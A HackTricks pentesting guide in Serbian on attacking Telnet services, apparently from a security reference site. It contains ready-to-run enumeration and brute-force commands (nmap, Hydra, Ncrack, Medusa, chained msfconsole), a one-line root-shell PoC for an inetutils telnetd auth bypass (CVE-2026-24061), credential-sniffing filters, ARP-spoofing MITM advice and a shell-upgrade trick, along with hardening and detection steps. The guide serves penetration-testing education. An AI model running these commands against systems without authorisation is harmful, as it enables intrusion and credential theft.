23 - Pentesting Telnet

Tip

Učite i vežbajte AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Učite i vežbajte GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE) Učite i vežbajte Azure Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Podržite HackTricks

Osnovne informacije

Telnet je mrežni protokol koji korisnicima pruža nesiguran način pristupa računaru preko mreže.

Podrazumevani port: 23

23/tcp open  telnet

Enumeration

nc -vn <IP> 23

Svu zanimljivu enumeraciju može obaviti nmap:

nmap -n -sV -Pn --script "*telnet* and safe" -p 23 <IP>

Skript telnet-ntlm-info.nse će pribaviti NTLM informacije (Windows verzije).

From the telnet RFC: U TELNET protokolu postoje različite “opcije” koje mogu biti odobrene i mogu se koristiti u okviru strukture “DO, DON’T, WILL, WON’T” kako bi korisnik i server mogli da se dogovore o korišćenju složenijeg (ili možda samo drugačijeg) skupa konvencija za njihovu TELNET vezu. Takve opcije mogu uključivati promenu skupa karaktera, režima echo-a itd.

Znam da je moguće izlistati ove opcije, ali ne znam kako — javite mi ako znate kako.

Enumerisanje Telnet opcija / funkcionalnosti

Telnet koristi IAC + DO/DONT/WILL/WONT pregovore da omogući opcije. Podržane opcije možete uočiti hvatanjem početne razmene pregovora i ispitivanjem specifičnih funkcionalnosti.

Nmap probe opcija/funkcija

# Detect support for the Telnet ENCRYPT option
nmap -p 23 --script telnet-encryption <IP>

# Enumerate Microsoft Telnet NTLM info (NetBIOS/DNS/OS build)
nmap -p 23 --script telnet-ntlm-info <IP>

# Brute-force via NSE (alternative to Hydra/Medusa)
nmap -p 23 --script telnet-brute --script-args userdb=users.txt,passdb=pass.txt <IP>

Skripta telnet-encryption proverava da li je opcija ENCRYPT podržana; neke implementacije su istorijski nepravilno obrađivale ovu opciju i bile su ranjive, ali skripta samo proverava podršku. telnet-ntlm-info otkriva NTLM metapodatke (NetBIOS/DNS/OS build) kada je Microsoft Telnet NTLM omogućen. telnet-brute je NSE brute-force auditor za Telnet.

Brute force

Konfiguracioni fajl

/etc/inetd.conf
/etc/xinetd.d/telnet
/etc/xinetd.d/stelnet

HackTricks Automatske komande

Protocol_Name: Telnet    #Protocol Abbreviation if there is one.
Port_Number:  23     #Comma separated if there is more than one.
Protocol_Description: Telnet          #Protocol Abbreviation Spelled out

Entry_1:
Name: Notes
Description: Notes for t=Telnet
Note: |
wireshark to hear creds being passed
tcp.port == 23 and ip.addr != myip

https://book.hacktricks.wiki/en/network-services-pentesting/pentesting-telnet.html

Entry_2:
Name: Banner Grab
Description: Grab Telnet Banner
Command: nc -vn {IP} 23

Entry_3:
Name: Nmap with scripts
Description: Run nmap scripts for telnet
Command: nmap -n -sV -Pn --script "*telnet*" -p 23 {IP}

Entry_4:
Name: consoleless mfs enumeration
Description: Telnet enumeration without the need to run msfconsole
Note: sourced from https://github.com/carlospolop/legion
Command: msfconsole -q -x 'use auxiliary/scanner/telnet/telnet_version; set RHOSTS {IP}; set RPORT 23; run; exit' && msfconsole -q -x 'use auxiliary/scanner/telnet/brocade_enable_login; set RHOSTS {IP}; set RPORT 23; run; exit' && msfconsole -q -x 'use auxiliary/scanner/telnet/telnet_encrypt_overflow; set RHOSTS {IP}; set RPORT 23; run; exit' && msfconsole -q -x 'use auxiliary/scanner/telnet/telnet_ruggedcom; set RHOSTS {IP}; set RPORT 23; run; exit'

Recent Vulnerabilities (2022-2026)

  • CVE-2024-45698 – D-Link Wi-Fi 6 routers (DIR-X4860): Neispravna validacija ulaza u telnet service omogućava udaljenim napadačima da se prijave koristeći ugrađene kredencijale i injektuju OS komande; ispravljeno u firmware 1.04B05 ili novijim.
  • CVE-2023-40478 – NETGEAR RAX30: Stack-based buffer overflow u Telnet CLI passwd komandi omogućava network-adjacent code execution kao root; potrebna je autentifikacija, ali može biti zaobiđena.
  • CVE-2022-39028 – GNU inetutils telnetd: Dvobajtna sekvenca (0xff 0xf7 / 0xff 0xf8) može izazvati NULL-pointer dereference u telnetd, a ponovljeni padovi mogu dovesti do toga da inetd onemogući servis (DoS).

Imajte ove CVE-ove na umu tokom trijaže ranjivosti — ako cilj radi na nepatchovanom firmware-u ili nasleđenom inetutils Telnet daemoni, možete imati direktan put do code-execution ili destruktivnog DoS-a.

CVE-2026-24061 — GNU Inetutils telnetd auth bypass (Critical)

Primitive: Telnet NEW_ENVIRON dozvoljava klijentima da tokom option negotiation pošalju environment varijable; inetutils telnetd zamenjuje %U u svom login template sa getenv("USER") i prosleđuje ga direktno na /usr/bin/login, omogućavajući argv-level option injection (bez shell ekspanzije). Root cause: verzije 1.9.3–2.7 proširuju %U bez filtriranja, tako da vrednost USER koja počinje sa - bude parsirana kao login flag. Na primer, %U postaje -f root, što daje /usr/bin/login -h <hostname> "-f root" i preskače autentifikaciju pomoću login -f.

Exploit flow:

  1. Povežite se na Telnet service i pregovarajte NEW_ENVIRON da postavite USER=-f root.
  2. telnetd gradi argv za login uključujući vrednost %U koju kontroliše napadač.
  3. /usr/bin/login tumači -f root kao “pre-authenticated user root” i pokreće root shell.

PoC

# Inject USER via NEW_ENVIRON and obtain a root shell
USER='-f root' telnet -a <ip>

Napomena o zakrpi: inetutils 2.7-2 uvodi sanitize() pomoćnu funkciju koja odbacuje vrednosti koje počinju sa - ili koje sadrže whitespace/metacharacters pre nego što ih zameni u login argv, blokirajući option injection. Detekcija/verifikacija: identifikujte izložene daemone pomoću telnetd --version, dpkg -l | grep inetutils, systemctl status inetutils-telnetd ili netstat -tlnp | grep :23.

Mitigacije

  • Primeni zakrpu/azuriraj pogođene pakete odmah (npr., Debian ispravke su u 2:2.4-2+deb12u2, 2:2.6-3+deb13u1, и 2:2.7-2).
  • Onemogući Telnet ili ograniči pristup na pouzdane mreže za upravljanje dok se primenjuju zakrpe.

Sniffing Credentials & Man-in-the-Middle

Telnet prenosi sve, uključujući credentials, u clear-text. Dva brza načina da ih presretnete:

# Live capture with tcpdump (print ASCII)
sudo tcpdump -i eth0 -A 'tcp port 23 and not src host $(hostname -I | cut -d" " -f1)'

# Wireshark display filter
tcp.port == 23 && (telnet.data || telnet.option)

Za aktivni MITM, kombinujte ARP spoofing (npr. arpspoof/ettercap) sa istim sniffing filterima kako biste sakupljali passwords na switched networks.

Automated Brute-force / Password Spraying

# Hydra (stop at first valid login)
hydra -L users.txt -P rockyou.txt -t 4 -f telnet://<IP>

# Ncrack (drop to interactive session on success)
ncrack -p 23 --user admin -P common-pass.txt --connection-limit 4 <IP>

# Medusa (parallel hosts)
medusa -M telnet -h targets.txt -U users.txt -P passwords.txt -t 6 -f

Većina IoT botneta (Mirai varijante) i dalje skenira port 23 koristeći male rečnike podrazumevanih kredencijala — oponašanje te logike može brzo identifikovati slabe uređaje.

Eksploatacija i post-eksploatacija

Metasploit ima nekoliko korisnih modula:

  • auxiliary/scanner/telnet/telnet_version – banner i enumeracija opcija.
  • auxiliary/scanner/telnet/brute_telnet – multithreaded bruteforce.
  • auxiliary/scanner/telnet/telnet_encrypt_overflow – RCE protiv ranjivog Solaris 9/10 Telneta (rukovanje opcijom ENCRYPT).
  • exploit/linux/mips/netgear_telnetenable – omogućava telnet servis pomoću konstruisanog paketa na mnogim NETGEAR ruterima.

Nakon što se dobije shell, zapamtite da su TTY-jevi obično “glupi”; nadogradite ga sa python -c 'import pty;pty.spawn("/bin/bash")' ili koristite HackTricks TTY tricks.

Hardening & Detection (Blue team corner)

  1. Preferirajte SSH i potpuno onemogućite Telnet servis.
  2. Ako je Telnet neophodan, ograničite ga samo na VLAN-ove za upravljanje, primenite ACL-ove i zaštitite daemon pomoću TCP wrappers (/etc/hosts.allow).
  3. Zamenite legacy telnetd implementacije sa ssl-telnet ili telnetd-ssl da dodate enkripciju transporta, ali ovo štiti samo podatke u tranzitu — pogađanje lozinki ostaje trivijalno.
  4. Pratite odlazni saobraćaj ka portu 23; kompromitovanja često pokreću reverse shelove preko Telnet-a kako bi zaobišla stroge HTTP egress filtere.

References

Tip

Učite i vežbajte AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Učite i vežbajte GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE) Učite i vežbajte Azure Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Podržite HackTricks